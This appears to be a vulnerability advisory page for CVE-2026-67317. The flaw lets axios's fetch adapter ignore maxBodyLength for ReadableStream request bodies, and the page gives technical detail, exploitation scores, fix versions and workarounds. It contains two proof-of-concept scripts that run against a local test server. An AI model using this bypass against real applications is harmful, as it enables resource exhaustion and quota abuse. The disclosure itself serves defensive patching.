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CVE-2026-67317 — axios

Fix: axios/axios#11000

CVE-2026-67317 is a CWE-770 vulnerability in axios. A fix is available for axios — see the affected versions and patch details below.

axios 1.7.0 before 1.18.0 maxBodyLength Bypass via ReadableStream

Also known asGHSA-jqh4-m9w3-8hp9
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67317.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk
0.00%0.37%0.73%1.10%0.4%0.6%0.6%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

180Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
axiosnpm
119.1Mdownloads / week

Description

Summary

axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.

This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.

Impact

An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.

This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.

Affected Functionality

Affected:

  • adapter: "fetch" or environments where axios selects the fetch adapter.
  • Request methods with bodies, such as POST, PUT, and PATCH.
  • data as a WHATWG ReadableStream without a reliable Content-Length.
  • Configurations that set maxBodyLength to a finite value.

Not affected:

  • Axios versions before the fetch adapter was introduced.
  • The Node HTTP adapter stream enforcement path.
  • Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.

Technical Details

In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.

The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().

When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.

The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.

Proof of Concept of Attack

Run from the axios repo root on Node 18+ against an affected version:

import http from 'node:http';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

function makeReadableStream(totalBytes) {
  const chunk = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;

  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${port}/upload`,
    makeReadableStream(PAYLOAD_BYTES),
    {
      adapter: 'fetch',
      maxBodyLength: LIMIT,
      headers: { 'content-type': 'application/octet-stream' },
    }
  );

  console.log(response.data);
} finally {
  server.close();
}

Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.

Workarounds

Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.

<details> <summary>Original Report</summary>

Summary

axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.

Details

In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:

fetch.js Lines 121-155

  const getBodyLength = async (body) => {
    if (body == null) {
      return 0;
    }
    if (utils.isBlob(body)) {
      return body.size;
    }
    if (utils.isSpecCompliantForm(body)) {
      const _request = new Request(platform.origin, {
        method: 'POST',
        body,
      });
      return (await _request.arrayBuffer()).byteLength;
    }
    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
      return body.byteLength;
    }
    if (utils.isURLSearchParams(body)) {
      body = body + '';
    }
    if (utils.isString(body)) {
      return (await encodeText(body)).byteLength;
    }
  };
  const resolveBodyLength = async (headers, body) => {
    const length = utils.toFiniteNumber(headers.getContentLength());
    return length == null ? getBodyLength(body) : length;
  };

For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:

fetch.js Lines 214-232

      // Enforce maxBodyLength against the outbound request body before dispatch.
      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
      // maxBodyLength limit'). Skip when the body length cannot be determined
      // (e.g. a live ReadableStream supplied by the caller).
      if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
        const outboundLength = await resolveBodyLength(headers, data);
        if (
          typeof outboundLength === 'number' &&
          isFinite(outboundLength) &&
          outboundLength > maxBodyLength
        ) {
          throw new AxiosError(
            'Request body larger than maxBodyLength limit',
            AxiosError.ERR_BAD_REQUEST,
            config,
            request
          );
        }
      }

The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:

fetch.js Lines 253-261

        if (_request.body) {
          const [onProgress, flush] = progressEventDecorator(
            requestContentLength,
            progressEventReducer(asyncDecorator(onUploadProgress))
          );
          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
        }

The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.

PoC

import http from 'node:http';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
  req.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeReadableStream(totalBytes) {
  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;
  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(
      `http://127.0.0.1:${port}/upload`,
      makeReadableStream(PAYLOAD_BYTES),
      {
        adapter: 'fetch',
        maxBodyLength: LIMIT,
        headers: { 'content-type': 'application/octet-stream' },
        // No content-length: the stream's total length is unknown ahead of
        // dispatch, which is exactly the vulnerable code path.
      }
    );
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
}

Impact

  • Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
  • Bypass of cost / quota guards on upstream APIs.
  • Resource exhaustion against the runtime's network stack and against upstream peers.
</details>

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmaxios≥ 1.7.0&&< 1.18.01.18.0npm install axios@1.18.0

Affected Products

1 product · 1 configurations
Application
axiosaxios
≥ 1.7.0 && < 1.18.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update axios to 1.18.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67317 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Moderate: This flaw in `axios` allows for a denial of service by bypassing `maxBodyLength` enforcement. Red Hat products utilizing `axios` with the `fetch` adapter and `WHATWG ReadableStream` for request bodies, where the content length cannot be determined, are susceptible to resource exhaustion or uncontrolled…

Workaround published by Red Hat
To mitigate this issue, applications using `axios` in Node.js environments should configure `axios` to use the HTTP adapter for untrusted stream uploads. Alternatively, implement application-layer logic to wrap and count stream data, aborting the upload if it exceeds the intended size limit.
Source: Red Hat security advisory for CVE-2026-67317 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Hardened Imagesgrafana13-1-main-13.1.1-0.5.hum1RHSA-2026:49714
Red Hat Hardened Imagesgrafana13-1-main-13.1.1-0.5.2.hum1RHSA-2026:50826

Frequently Asked Questions

## Summary axios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: "fetch"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. ## Impact An attacker who can supply or in
O3 Security · Impact-Aware SCA

Is CVE-2026-67317 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-67317: axios DoS — Fixed in 1.18.0